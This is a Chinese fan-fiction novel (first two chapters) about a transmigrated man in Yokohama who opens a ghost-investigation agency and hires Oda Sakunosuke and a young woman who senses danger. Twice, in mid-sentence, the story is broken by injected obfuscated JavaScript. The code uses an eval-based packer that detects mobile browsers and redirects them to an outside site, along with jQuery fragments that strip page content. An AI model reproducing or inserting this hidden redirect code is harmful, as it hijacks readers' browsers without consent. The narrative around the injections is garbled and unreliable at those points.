《[综漫]当二次元遭遇恐怖片场》 1. 一 ——谁懂啊家人们,一觉醒来穿越了。 夏楠在看房。 坐标横滨,地点某港口贸易公司旗下房屋中介。 ——家人们谁懂啊,一觉醒来穿二次元了。 “如果是这个预算的话,我这里倒确实有一处房源,”中介先生十分为难的看着夏楠,“但是……” “但是?” “但是……那栋房子里曾经出过命案,不知道夏目先生您会不会介意……” ——家人们谁懂啊,一觉醒来被迫改名夏目楠了。 “哦,我还以为是很偏僻呢,原来只是命案。” 只……只是? 中介先生小心翼翼的看了看夏目楠的脸色,“……您不在意这些真是太好了,其实这栋房子的地理位置非常好,如果不是命案的原因,肯定不会只要这点租金。” “栋?” 夏楠捕捉到对方用的量词。 “是的,是一处一户建。” —————— “就是这里了。” 中介有些拘谨的站在一栋临街房屋的门口,掏出钥匙开门,试探的问道,“之前听您说想要开店,不知道夏目先生要做什么类型的生意?” 说完,怕夏楠误会,又补了一句,“如果不是需要很大经营空间的生意的话,我这里也有合适的房源,您要是感兴趣可以看看的。” 门开了。 中介带着笑转身,想要邀请人一同入内,却看到夏楠正抬着头往上看。 ……上面有什么吗? 好奇之下,他也上前几步看了过去。 是窗户,开着的窗户。 中介奇怪,“咦,我记得上次来的时候是关好的啊……” 夏楠收回视线,看向中介,“租金再减半。” “啊?”中介一愣,怎么房子还没进就开始砍价了,“这……租金已经是最低了。” “你这房子不止命案那么简单,”夏楠说道,“再减半,我是说,减半的减半,我只租一年,可以免费帮你们解决这里的问题,这房子我走后你们可以正常外租。” “港口贸易公司旗下应该有自己的媒体吧?到时候带一带节奏,做一做房设,我想,这些应该不用我来教?” 中介又是一愣,他看了夏楠好久,结结巴巴,“……您……我……这不是我能决定的事啊……” “那就请你联系能做决定的人。” 中介:…… 他纠结了一会儿,最后认命般在夏楠的注视下拿出手机,打了一通电话,电话接通后,简单把夏楠的要求告知了对面。 在一阵是是对对并对着空气猛猛鞠躬后,中介带着小心翼翼的语气讯问夏楠,“我们社长想要和您说两句话,您看……” 夏楠伸出手。 —————— 横滨大学图书馆内。 吉川惠子坐在靠窗的位置,正翻着眼前的报纸,不一会儿,一条招聘信息吸引了她的视线。 “只招兼职,时薪……工作时间每周末……”她咬着笔,微微出声念着,“……探灵社?” 坐在她对面的好友闻言抬头,“怎么听起来像是什么宗教会社?” “嗯……”吉川惠子微微皱着眉,继续往下看,“工作内容,驾驶及日常采购,社内保洁,安保……” “直接说招司机、采购和保洁不就好了?” “可能是因为只招兼职?”吉川惠子将报纸递到好友面前,“你看,这里写着,每周工作时长不超过八小时,每季还有奖金。” 朋友看了一会儿,一脸不信,“这个时薪,这个待遇,这个条件……骗人的吧?” 吉川惠子拿回报纸,又看了眼招聘广告附的地址,有些犹豫,“离地铁站还挺近的……” 朋友看她一会儿,“你想去?” “嗯,万一是真的呢?”吉川惠子还挺好奇这个什么探灵社的,“反正都是找兼职提前做社会锻炼嘛……” 其实还有更深的原因,只是原因吉川惠子有些难以启齿。 朋友看出她的纠结,以为她是想去又有些害怕,于是很仗义的说,“你什么时候去?我可以陪你,先说好我只有后天下午有时间。” 吉川惠子开心的笑,“那就后天!小朋你真好!” “哼~”小朋傲娇的轻轻哼了一声。 —————— “探灵社?” “对,待遇看起来很不错,你不是想试试其它工作吗?他们只照兼职,工作时间在周末,时长也短,”说话的人从怀里掏出一份报纸,“去试试?如果不喜欢,随时都可以走。” 织田作接过报纸。 给他介绍新工作的是他目前租住的房子的房东。 房东见织田作在找他说的那则招聘广告,他伸出一只手指了指,“在这里。” “……啊。” “保洁和采购估计会招女性,但是司机和安保的话,你肯定能胜任,”房东见织田作看的认真,停下手头正在忙的事,“那边街区有我的熟人,我打听了一下,据说是一家新开的事务所,老板是个很年轻的男人。” …… 织田作将报纸印有招聘广告的报纸郑重收好,“谢谢,我会去看看的。” “客气什么,”介绍工作成功的老板心情不错,“我只是觉得,比起之前那个人介绍你进什么黑手党,不如找个像这样一看就是在灰色地带作营生的事务所。” “灰色地带?” “啊,你没看到事务所的名字吗?” 老板将一盘咖喱放在织田作面前,“激辣咖喱,新作,尝尝看?” 他说着,递给织田作一双筷子。 织田作接过筷子,“看到了,探灵社。” “对,就是这个名字,”老板接上了话头,“我那熟人是干房屋中介的,据他所说,那个人……”他神神秘秘探出来小半个身子,“有点东西。” 织田作迷茫的看着他。 老板:…… “就是说,是专门处理怨灵这类东西的家伙。” 织田作恍然,他说,“啊,可我从来没和怨灵打过交道。” 老板:“都是说不准的事,你先去看看,看看再说。” “好。” —————— 夏楠从床上艰难的爬起来。 他晃晃悠悠的走到窗边,一把拉开窗帘。 正午的阳光争先恐后挤进室内。 他转过身,踩着一地在阳光下滋滋冒烟的头发,走进浴室,开始洗漱。 今天得去趟中华街。 还有什么来着…… 夏楠擦干净脸上的水渍,随意抓了两下头发。 还有…… 哦,对。 还有面试。 盥洗室的房门砰的在他身后闭合,眼前的镜面里原本属于他的脸开始变形变色。 夏目楠面不改色的握拳,对着镜子就是一锤。 空间似乎扭曲了一下,紧接着,一切恢复正常。 他走出盥洗室,意思意思换了套能看的衣服,下楼。 这是栋有问题的房子,显而易见。 整栋房子一共两层,外加一个没什么用的阁楼,装修很简单。 一楼被他简单改成了工作区。 夏楠走到一楼,没骨头一样躺在会客区域的沙发上,开始等。 —————— 吉川惠子和好友井下朋花提前了二十分钟来到这间名为‘探灵社’事务所门前。 “额……” “真的是这里吗?” 两人有些迟疑的站在门口左右张望。 “看,这里贴了公告。” 吉川惠子凑过去仔细看,第一行开头写着‘探灵社敬告’五个字。 “还真是这里啊……”井下朋花说道。 公告的内容很简单,只说了两件事,一个是委托必须先预约,不接受非预约客户。另一个是应聘直接按门铃。 公告的旁边有一个亚克力小盒子,里面是几张印着邮箱地址的探灵社名片。 两人:…… 吉川惠子在门边找了一下。 找到了。 她将手指搭在门铃上,“我……我按了哦……” 井下朋花:“你紧张什么?”她轻轻搡了一下吉川惠子的肩膀,“快点啦。” “好,好的。” 吉川惠子抬眼看了看眼前这栋不怎么起眼的房子,深吸一口气,按下了门铃。 是很普通的门铃声。 两人只等了一小会儿,里面的门开了。 井下朋花看清正慢慢走过来打算开院门的人的脸,伸手一把抓住了吉川惠子的胳膊,两眼放光。 池面! 还是很少见的颓丧系池面! 颜狗属性瞬间大爆发! 天呐今天可来的太值了! 吉川惠子:…… 小朋你冷静点,小朋。 —————— 终于来了。 夏楠无精打采的扫了眼眼前站着的两名女性,打开院门,转身就往回走。 “记得把门带上。” “啊,好,好的!” …… “您好,这是我的简历。” 夏目楠拿起对面递过来的一小沓纸,“吉川惠子?” “是,是的。” 他把简历放在了桌上,“吉川小姐,感觉这里怎么样?” “……什么怎么样?” “这栋房子。” 吉川惠子抿了抿嘴,她不确定的看了看眼前看起来很年轻像高中生一样的夏楠,又看了看坐在另一边等候的小朋,踟蹰一会儿。 “我感觉……不太好。” “嗯。” 夏楠将简历推回给吉川惠子,“你被录用了,这周末开始工作,有异议么?” “没,没有……”吉川惠子一愣,等等,唉? “录用了?!” “嗯。” 夏楠点点头,“下次来的时候记得带两张一寸照片,两张两寸照片,就算是临时兼职,也是要录入系统的,”他无精打采的扫了眼吉川惠子,“如果需要实习章,我这里也可以提供。” 吉川惠子:…… 她有些无措的看向井下朋花,发现对方也一脸懵逼。 这么容易的吗? “你可以离开了,”夏楠说道,“看到那边的护符……御守了吗?一人拿两个,十天内不要离身。” 吉川惠子懵懵的顺着对方的话看向玄关鞋柜上挂着的御守。 奇怪,之前进来的时候怎么没注意到有这种东西? 井下朋花问道,“我也有吗?” “对。” 夏楠看了眼墙上的挂钟,“记住,十天内不要离身,洗澡也要带着,是防水款。” 吉川惠子抠了抠手指,“可以问一下为什么不能离身吗?” 夏楠看她一眼,“等你正式入职以后再说吧。” 吉川惠子:…… 她踟蹰片刻,终于鼓足勇气开口,“那我……” 夏楠伸出一只手制止了她接下来的话,“门口的公告看了?” “看……看了。” “要委托提前预约,本社禁止员工以公谋私,哦,你现在还算不上员工。” 吉川惠子:…… 她的脸涨红,猛的起身,库库鞠躬。 “抱,抱歉,我这就去预约。” 夏楠:…… 穿来近一个月,还不是很习惯这种一言不合就一个劲鞠躬的画风。 “你们该走了,御守记得拿。” “好的!” “谢谢您!” 吉川惠子拉起一边满脸状况外的的井下朋花,对着夏楠又是一鞠躬,“打扰了!” 井下朋花:…… 两人在门口取了御守,出门,关门,出院门,关院门。 井下朋花机械跟随,现在依旧在状况外:“……你,这就……” “呜啊啊啊啊——” 井下朋花话还没说完,吉川惠子忽然一把抱住她,开始干嚎。 井下朋花:…… 她一巴掌拍上惠子的脑门,“收声!” 怎么啦这又是。 惠子委屈巴巴的停下来,“小朋你不知道,这里……”她转头看向身后不起眼的小院子,目光在二楼敞开的窗口停了一会儿。那里空无一物,拉开的窗帘在风的吹拂下缓缓飘动。 虽然空无一物,但惠子下意识觉得那里有什么,肯定有什么。 她猛的收回视线,伸手将朋花还抓在手里的御守抢过来給对方挂在脖子上,“一定要听话,带好,知道吗?”她盯着朋花的眼睛,十分认真,“千万别摘,说十天,一定要带满十天,知道吗?记住了吗?” 井下朋花一脸莫名其妙,“你到底怎么了?” 惠子抿嘴,扯着朋花快步离开,边走边说,“小朋,其实我能……” —————— 房屋中介的山田先生在第一个面试的人离开不久之后到了探灵社门口,短时间内第二次来到这栋房子,他想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588853|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起之前的事,下意识抬头看向二楼的窗口。飞出一部分的遮光窗帘正在敞开的窗口张牙舞爪,山田先生不禁想着——风有那么大吗? 就在这个时候,里面的房门开了。 山田先生的注意力立刻回到了自己的工作上。 “夏目先生,日安,”他带着职业性的微笑,“我来送资料,”他扬了扬手里的文件袋,又说,“还有您要的车,不过话说回来,真没想到您居然那么年轻。” 夏楠出门,跨过门框的时候抬手轻轻拍了下墙壁,二楼鼓动的窗帘僵了一下,默默缩了回去。 他来到院门口,并没有放山田进来的打算,只是隔着院门接过了对方手里的文件袋,随口问道,“我长的很老吗?” 山田笑道,“哪里,是因为您做事很有章法,”他又从兜里摸出车钥匙递过来,“不知道贵社的司机是否已经有人应聘了?” 夏楠接过钥匙,想了想,“大概?” 这可不是个肯定的答复啊。 山田想到上司的嘱托,开口说道,“如果没有满意的人选,我这里有位朋友可以推荐给您哦。” “是吗?”夏楠看了看钥匙,他没有这里的驾照,开不了,钥匙在他手中形同虚设。 “对,听说……”山田一顿,略有些不好意思的挠挠头,“其实是我一位旧相识介绍的,据说是位身手很不错的年轻人,性格也很和善,正因为工作的事情发愁。如果您有兴趣的话,可以叫他来看看?” 夏楠看了他一眼,“叫什么名字?” “名字不太记得了,但是姓,我印象很深刻,”山田说道,“毕竟和那位大名鼎鼎的第六天魔王一个姓嘛。” “第六天魔王又是什么?” 山田一愣,“啊,是我的疏忽,您刚刚从海外回来还不了解这些,”他说着,“第六天魔王是历史名人织田信长的一个比较为人熟知的称呼,因为听起来很霸气,所以经常有人会用这个来代替织田信长的名字。” “所以是姓织田?” “对,”山田苦恼的皱眉,“至于名字……抱歉,实在记不起来,不过我可以现在打电话问问。” 倒也不必如此。 夏楠无所谓的摆摆手,他示意山田退后一点,接着打开院门,走了出去。 “走吧,去看看车。” 山田见夏楠兴趣不大,也就不再提这件事,他抬手指了指不远处,“就停在那里,是一个公共停车场,收费标准是统一的,长时间使用的话可以办卡,还有优惠。” 夏楠又看他一眼,“很了解嘛。” “那当然了,”山田挺了挺胸,“这都是职业素养。” “嗯嗯,厉害厉害。”夏楠敷衍的夸了两句。 两人正往停车场那边走,忽然身后响起一个人的声音。 “那个……请问这里是探灵社吗?” 夏楠回过头去。 说话的是一名男性,穿着宽大又老气的西装外套,手里抓着一张叠着的报纸。 一头红发。 “是哦,”夏楠问道,“你又是谁?” “我吗?”红发男人回答,“我叫织田作之助,是来应聘的。” 旁听了一会儿的山田先生闻言啊了一声,“我想起来了!就是这个名字,作之助!”他打量了一下织田作之助,第一印象还算不错,“哎呀,我刚刚还在和夏目先生推荐你呢,没想到你自己来了。” 织田作之助没问山田为什么推荐自己,愣了一下,然后礼貌道谢,“谢谢您的推荐。” “哪里,我也是受人之托,能不能被录用还是得看你自己。” 夏楠:…… 原来你就是那个织田啊,你不是黑手党吗?来我这里应聘? “请你先在门口等一会儿,我和山田先生过去看一下车,很快回来。” 织田作之助很好说话的样子,“好的。” 得到肯定的答复,夏楠和山田继续往停车场走,只是这次因为有人在等,脚步快了许多。 是一辆黑色的马自达,外观看起来很干净。夏楠打开车么看了看内饰,里面也收拾的很干净,只是……是手动档。 夏楠:…… 山田看着他的脸色,“夏目先生,怎么样,还满意吗?” 夏楠关上车门,“挺好的。” “那就好,上路的所有资质都是齐全的,您可以放心使用,租金如果按年算还会再便宜些,您看先租多久?” 这辆车也是港口贸易公司旗下组车行里的车,是夏楠拜托山田先生帮自己租的。 他人生地不熟的,加上自己对车的了解其实很一般,怕被坑, “先半年吧,”顿了顿,他问道,“如果车辆损坏了……” 山田闻言,想到了夏楠的工作性质,心想也确实会有这样的顾虑,“因为车辆是上了全险的,只要不是过分严重的损伤,和保险公司协商后修理就好了,”他指了指夏楠手里的文件袋,“租车的手续合同都在里面,您回去以后仔细看看,我可以明天再过来取。” 那感情好。 夏楠点点头。 这里的各种手续太麻烦了,做什么都得自己处理,由奢入俭的夏楠很不适应。 想摆烂,可是有点奇怪的坚持的夏楠又做不到真的直接开摆 好烦。 夏楠的脑袋里有个不知道是什么的进度条,目前进度条里空空如也,什么都没有。 好歹给个描述呢? 莫名其妙的。 家人们谁懂啊,穿越也就算了,还有任务。 好想休假啊。 可是休不了。 —————— 织田作之助被请进了室内。 还是那个不大的会客区,上一个来面试的人好歹准备了简历,织田作之助两手空空的就来了。 夏楠觉得自己面前坐了个大神,这位大神以后会收养一堆孩子,并拥有两位十分麻烦的朋友。 还会被港口贸易公司算计一把,换一张传说中的异能开业许可证。 什么样的神会收养一堆孩子啊。 太可怕了。 …… “请问你面试的是什么岗位呢?” 桌上没有一杯水,也没有任何客套的招待物品,它空空如也。 被眼前的少年用一种十分古怪的目光盯了半天的织田作之助缓缓开口,“司机和……保镖?” …… 倒也不是不行。 “那么织田先生,或者织田作先生……” “是织田。” “嗯。” 2. 二 夏楠无精打采的开口,“织田先生觉得这里怎么样?” “这里是指?” “这栋房子。” 织田作之助沉默一会儿,他不是很确定夏楠问话的目的是什么,但如果是说这栋房子的话,“……请问,楼上有什么东西吗?” 夏楠掀起眼皮看了他一眼。 哦……是异能力的作用,还是单纯对危险的感知? 不论如何,这份资质倒是足够了。 夏楠下了结论,“你被录用了。” 这么简单吗? 织田作之助有些意外,但夏楠看起来一点解释的意思都没有。 他不想再杀人,因为身份的问题,很多普通工作又都做不了。 黑手党的话,对他来说,的确不是什么好的选择。 眼前的青年,看起来就像个普通人。 但他的气场却很不一样,青年看向自己的眼神,让织田有一种,自己的一切都被对方看穿了的错觉。 或许不是错觉。 那个世界……么…… “……谢谢。” 试试看吧,也许这一次,是属于他的‘机遇’也说不定。 “以后请多多指教。” —————— 织田作之助会开车。 只是,他和夏楠一样,没有驾照。 夏楠:…… 突然想起来这位很大概率是个黑户。 “织田,你是不是没有身份证明文件?” “身份证明文件是有的,”不仅有,还很多。 织田作之助坐在驾驶座上,没有驾照却开出了理直气壮的样子,“但都不是织田作之助的身份证明文件。” 或者说,不是能让织田作之助毫无顾忌的生活在这里的文件。 他隔着后视镜看了看夏楠写满了无语的脸。 “抱歉。” 夏楠:…… 他扫了眼意识里那个在录用了织田作之助后向前走了一点点的一点点的进度条。 原来你会动啊。 所以是什么?踢便当模本? 在踢便当前,他是不是还得想办法先给织田作之助弄好身份问题? 什么新世纪异国红雷/锋,他吗? 夏楠内心嗤笑一声。 “方便告诉我你以前是做什么工作的么,织田君?” “我吗?”织田作之助控制着车转向,“以前的话,是杀手,也做过一段时间邮递员的工作。” “哦,杀手,很厉害嘛。” 夏楠摊在后座上,抬手对着织田作之助的后脑勺比了个biubiubiu的手势。 “我能看到。”织田作之助透过后视镜看了夏楠一眼。 夏楠装没听见。 他收回手,盯着车顶看了一会儿。 说起来,进度条,推满了会发生什么? “要搬来事务所里住么?”夏楠忽然说道,“提前适应适应工作内容,房租全免,相对应的,事务所里的日常杂务你来负责。” “不招保洁了吗?” “那就请织田先生为我找一个和你一个等级的保洁。” “和我一个等级?” “唔……难死,这种等级。” 织田作之助:…… “抱歉,我不认识什么能够推荐的人。” “而且,我应聘的不是司机和保镖的兼职吗?” “确实,”夏楠隔着后视镜和织田作之助对视,“只是织田君似乎陷入了什么麻烦的样子,我以为你会更愿意拥有一个全职?” 织田作之助有些诧异,“是我表现的很明显吗?” “嗯?”夏楠歪了歪头,“不是哦,是招聘广告。” 他用了一点点小技巧。 “凡有所求者,可为我所用者。” 织田作之助身上并没有与鬼怪诅咒之流相关的麻烦,那么他所求的是什么呢? 一个不想杀/人的前杀手,横滨暗世界的住民,来应聘小小的司机与保镖。 为什么呢? 有所求,且是他能解决的‘所求’…… 说起来,他和太宰治相遇了么?这个时间段? …… 夏楠说这句话时,用的是中文。织田作之助没听懂,他看了一眼后后座仰靠着的夏楠,默默记住了这句话的发音。 “是什么意思呢?” “是我们很相配的意思哦,”夏楠微笑着看向织田作之助的后脑勺,“小织,来做我的全职助理吧~” 受进度条眷顾的人啊—— 夏楠的笑意不达眼底,说出的话却很轻柔。 你的麻烦是什么呢? —————— 横滨中华街到了。 夏楠在这里订购了一些特殊用品,以及一些二手电子设备和配套器械,比如带有夜市热感功能的摄像机若干,收音设备,手持摄像,显示屏幕,处理器,激光测距笔,用于磁场监测的高斯计等等。 织田作之助全程充当搬运工具人,没有过多好奇。 两人回去的路上,夏楠在后面昏昏欲睡,织田作之助在前面沉默开车。 问题少,听话,干事利索。 能打,长的顺眼,不算太蠢。 排除身上自带的一点小麻烦…… 夏楠那有些厌烦消极的情绪,在织田作之助初步展示了自己的好用之后,慢慢的回暖了一点。 …… 将夏楠送回探灵社后,织田作之助就打算告辞了。 “小织呀……”夏楠把自己摊在沙发上,活人微死。 他恨一切需要消耗体力的作业。 “看到门口的御守了么?挑两个看起来顺眼的带上,贴身带,带十天。” “是员工福利哦。” 织田作之助的视线在夏楠的提示下找到了鞋柜上没剩几个的御守。 他拿了两个下来,发现是防水的材质。 还是普通人很难入手的特殊材料。 “洗澡也带着。” 织田作之助将御守装进口袋的动作顿住了。 “我能问一下原因吗?” 夏楠在沙发上蛄蛹了一下,“猜猜看?” 织田作之助在玄关迟疑了一会儿,重新走了回来,“和二楼的东西有关?” “好奇么?” “这是商业机密,需要正式入职以后才有知情权哦。” 织田作之助恍然,“……我还没入职吗?” 白漂了半天劳动力的夏楠面不改色,“今天是考察。” “不是已经录用了吗?” “先录实习。” 织田作眨了下眼,“原来是这样。” “嗯。” “所以,织田君,要入职吗?” …… 织田作之助有些不确定的看着眼前毫无形象的缩在沙发里的人。 “……我以前是杀手。” “我知道,你说过了。” “邮递员的工作,送的也都是些危险物品。” “这样啊,很厉害呢。” 织田作之助顿了顿,“……有一些人,想要我的命。” “哇——”夏楠敷衍的拍了拍手,“小织是想要我夸你吗?” 织田作之助:…… 他微妙的,产生了一点无力感。 原本只是按照熟人的介绍来试试看,却遇到了很奇怪的人。 过往不是不可言说的秘密,却也不是可以随处乱说的东西。 明明是一副缺乏锻炼,反应也不算太敏捷的样子。却意外的给人一种十分诡异的,属于强者的压迫感。 不明显,但一直存在。 归国子女,来历成谜。 或许他自己的直觉已经做出了选择,只是理智还在试探。 “织田知道探灵社是做什么的么?” “……捉鬼驱邪?” 夏楠:…… “噗——” “哈哈哈哈哈,原来你是这么想的吗?” “很好笑吗?” “很好笑哦。” “所以事实不是这样?” “其实……算是?”夏楠看着织田作之助,试图从对方脸上找到无语的痕迹,奈何织田作之助情绪实在稳定。 夏楠收敛了笑意。 他变脸的速度实在太快,快的有点吓人了。 “调查是工作,开心是生活,探灵社,是我用来排遣无聊,逗自己开心的玩具。” 夏楠冲着织田伸出一只手,手心朝上。 “小织要一起来玩吗?” 织田作之助看向夏楠的手心。 很干净的手,没有硬茧,没有关节变形。 一只称得上养尊处优的手。 他抬起视线,看向夏楠的脸。 织田作之助意识到,对方是真的不在意他的那些‘小麻烦’。 一个充满谜团的人。 织田作之助听到自己的声音。 “好。” 他将手搭了过去。 ——契约成立。 织田作之助听到了对方的轻笑声,等他去看,夏楠已经收回手,躺在沙发上合上了眼睛。 “我好困,先睡一会儿,助理先生请自便。” “如果要走,记得御守一定要带好哦。” —————— 夏楠是被饿醒的。 时间是半夜。 他迷迷糊糊的揉了揉空荡荡的胃——昨天是不是没吃晚饭? 不对,昨天一天好像都没吃饭。 他挣扎着从沙发上爬起来,打算去厨房觅食,忽然,动作一顿。 “你醒了。” 织田作之助平稳的声音响起。 夏楠:…… “你没走啊。” “嗯,”织田作坐在另一侧的沙发上,看起来很精神,“我……应该还有保镖的职责?” 尽管现在是大半夜,织田作之助却一点也不困。不仅仅是因为他很擅长熬夜——二楼那个不知名存在,让他的危险预警一直响个不停,别说,还挺提神醒脑的。 既然是保镖,看顾雇主应该放在首位。 而这栋房子很危险。 夏楠试着理解了一下织田作之助的脑回路。 他缓缓眨了眨眼,试探着说,“我饿了。” 织田作之助:? “冰箱里有速食便当,旁边是微波炉,老板现在需要保镖先生保护一下他的胃。” 织田作之助:…… 他似乎真的认真的思考了一下保镖和保护胃之间的关系,紧接着,站了起来。 夏楠的嘴角翘了起来,他的语气变的很轻快,“选两个你自己喜欢的一起热,老板请客~” 织田作之助就着昏暗的光走进厨房。 黑乎乎的背景里,离得远了,人只剩一个模糊的轮廓。 这是我的助理,会给我做夜宵,夏楠想着——还会主动留下来保护我的安全。 进度条又往前走了那么一点点。 原本十分排斥这东西的夏楠有了新的主意。 …… 夏楠讨厌一切打乱自己步调的东西,不论是什么。 夏楠喜欢一切偏心自己的东西,不论是什么。 综上所述,夏楠讨厌穿越。 但他还挺喜欢织田作之助的。 —————— 井下朋花在奔跑。 她也不知道自己为什么会变成这样。 漆黑的巷子,以前的自己从来不会拐进这样的巷子。 天那么黑,谁会跑进这样的巷子里啊! 可今天就是很奇怪,特别奇怪。 新交的池面男朋友约自己一起去健身,健身健到一半就开始讲鬼故事,最后发展到实地作死。 没错就是作死。 还实地。 有病吧! 换作以前的她绝对不会去干这样蠢事的,绝对! “啊啊啊啊啊啊!” 井下朋花崩溃的往前跑。 她想起了惠子让自己一定贴身携带的御守。 “啊啊啊啊啊啊啊!” ——我为什么要摘掉! ——就为了一个男人?区区池面! 现在后悔也没什么用。 朋花脸上精致的妆容已经花了,长时间的剧烈运动使她的表情十分狰狞。她的鞋跑掉了,脚上的丝袜脏兮兮的。 她顾不上这些,她只想跑到人多的地方。 可是巷子好长,它怎么那么长?为什么还跑不到头! 每一寸荫蔽的角落里都是,全都是。在排水管后面,在屋檐下,在黑洞洞的窗口,在…… 井下朋花摔了一跤。 她实在忍不住,爆了粗口。 “岂可修!” 明明好好听话带着御守就可以了,明明接受惠子邀请暂时和惠子一起住十天就可以了,明明不去贪图美色和那个玩咖露水情缘就可以了。 “岂可修!岂可修!岂可修!” 是头发,密密麻麻的头发,它们从四面八方来,攀上朋花漂亮的小裙子,攀上她裸露的肩膀,攀上她的脖颈。 “岂可修……” 井下朋花的眼泪开始不受控制的往外涌。 头发好冰啊…… 这里好黑啊…… 为什么,为什么是我…… 爸爸,妈妈…… 惠子…… 救救我,谁来救救我…… —————— 早,七点。 街道上的行人还很少。 急促的门铃声不间断的响起,刚刚搬进一楼客房没多久的织田作之助走到窗边,侧着身,透过窗帘的缝隙看向外面。 是认识的人。 吉川惠子。 整个探灵社目前只有三名员工,吉川惠子是其中之一,负责每周的必需品采购和垃圾处理。 织田作之助走出房门,发现夏楠已经晃晃悠悠的下楼了。 倒是很罕见的情形。 …… 夏楠打着哈欠,走到沙发边坐下,“去请我们的客户进门吧,助手先生。” 看起来一副早有预料的样子。 织田作之助看了看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588854|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏楠嘴角那一抹若有似无的笑,没说什么,转身去请人进来。 …… 吉川惠子很慌张。 她的手里紧紧攥着眼熟的御守,身上还穿着睡衣,另一只手里是手机。 一看到窝在沙发上的夏楠,仿佛看到了救命稻草一样。 “社长!夏目先生!求求您救救小朋!”吉川惠子开始鞠躬,“求求您救救小朋!除了您,我实在想不到还有谁能求助了!” “求求您!” 织田作之助还是第一次见到委托人上门的情况,这几天探灵社的预约邮箱里除了吉川惠子——没错又是她——除了吉川惠子的那封预约邮件以外没有任何其他的委托信息。 而吉川惠子的预约时间定的是下个月。 夏楠很耐心的等吉川惠子说完。 清晨是很安静的时段,织田作之助是不怎么闲话的性格,而夏楠,如果他不想说话,没人能逼他。 整个一楼只有吉川惠子一个人的声音。 她忽然开始忐忑,开始害怕。 吉川惠子逐渐收声。 她保持着弯着腰的姿势,一动不敢动。 她开始出汗,尽管天气并不热,甚至还有些冷。 她的脑子里一团浆糊,从梦到小朋哭着求救到现在,她好像一直都无法思考。 她甚至不敢大声呼吸。 咔。 一声清脆的声响。 吉川惠子猛的一抖,她有些不敢抬头。 真奇怪啊,都怕成这样了。 为什么还要来呢? “现烧水很费时间,所以只有冰水。” 一道很平稳的声音响起。 “请用。” 是织田先生。 惠子听出了声音的主人。 她好像忽然又放松了些。 织田先生是很温柔的人,之前看到她搬大型杂物很费力,还会来搭把手。 吉川惠子对他的印象非常好。 是一位冷冰冰,又暖洋洋的人。 虽然之前只见过一次面。 平稳的声音安抚了她躁动的情绪,吉川惠子没有之前那么害怕了。 吉川惠子鼓起勇气,抬起头。 “惠子小姐。” 吉川惠子再次屏住呼吸,她看到夏目先生似笑非笑的看了眼面无表情的织田先生。 夏目先生现在在看她了。 “……惠子小姐,你知道的,本社只接预约。” 吉川惠子深吸一口气。 ——加油,惠子。 “我,我预约过的,夏目先生。” “嗯,我知道,你预约过,时间是下个月。” 轻飘飘的嗓音。 夏目先生说话总是这样,轻飘飘的,像雾。 吉川惠子的嘴唇开始抖动,好不容易积攒起来的一点点勇气在夏目先生不带感情的注视下开始消散。 “你可以离开了。” 不,我不能离开。 我不能离开。 …… 吉川惠子从小就和其他小孩子不一样。 她会突然不愿意坐幼稚园的校车,非要母亲骑自行车送。 她会突然不愿意父亲离开,在父亲出差前哭闹不止。 她会突然提出搬家,悄悄告诉父母对面空着的那家里的猫很吓人。 慢慢的,长大的吉川惠子逐渐发现,她好像能提前预感到危险。 爸爸妈妈教会她保守秘密,教会她保护自己,她很乖,这个秘密,她一直保守的很好。 …… 夏目先生是位很可怕的人。 吉川惠子在第一次见到对方时就有了这样的感觉,尽管夏目先生长着一张可以直接原地出道的脸,也没有做出什么会令人害怕的事。 可她就是害怕,不受控制。 夏目先生很可怕。 可怕,却并不危险。 危险的房子,可怕的夏目先生,还有温暖的御守。 很矛盾,但是这些都和夏目先生有关,就显得,似乎,又不那么矛盾了。 吉川惠子很害怕,害怕到一个字都说不出来,可这里并不危险。 她知道的,夏目先生并不危险。 只是实在忍不住。 “嘤——” —————— 哭了。 夏楠窝在沙发上,对面的吉川惠子把自己哭成了皱巴巴的橘子。 他看了一会儿。 “惠子小姐。” 吉川惠子立刻屏住呼吸,眼泪都止住了。 以及鞠躬,总是少不了的鞠躬。 声控一样。 夏楠立起一条腿,手肘放在膝盖上,托着下巴,“惠子小姐。” 吉川惠子又鞠了一躬。 还真是声控啊。 “惠子小姐。” 鞠躬+3 夏楠轻笑了一声。 “惠子小姐,”就着鞠躬+4,夏楠缓缓的说,“探灵社的每一条规则,都有其存在的意义,只接受预约是,员工不得以公谋私是,全职正式员工拥有一次插队的权利,也是。” 织田作之助看向了夏楠。 吉川惠子却没有,作为主要接收对象,她还没能反应过来。 “所以,惠子小姐,”鞠躬+5,夏楠微微笑着,伸出手,“要成为我的正式员工吗?全职的那种。” 吉川惠子愣住了,她缓缓抬头,看到了夏楠伸出的手。 很好看的手,手指修长,指甲干净。 是小朋会大喊着舔屏的美手。 “成为我的全职正式员工,我帮你把小朋找回来呀。” 吉川惠子看向了夏楠的眼睛。 ——好黑啊,好黑好黑的眼睛。 她忽然直起身,快速上前,伸出自己的手,抓住了夏楠伸过来的手。 夏楠眯起眼睛笑,心情很愉悦的样子。 契约成立。 他松开了吉川惠子的手。 在对方懵懵的视线中,站起身。 “走吧,我的事务员。” 夏楠朝着二楼走去。 吉川惠子懵懵的跟上。 夏楠停住了。 他转过身,看着一脸没跟上节奏的吉川惠子。 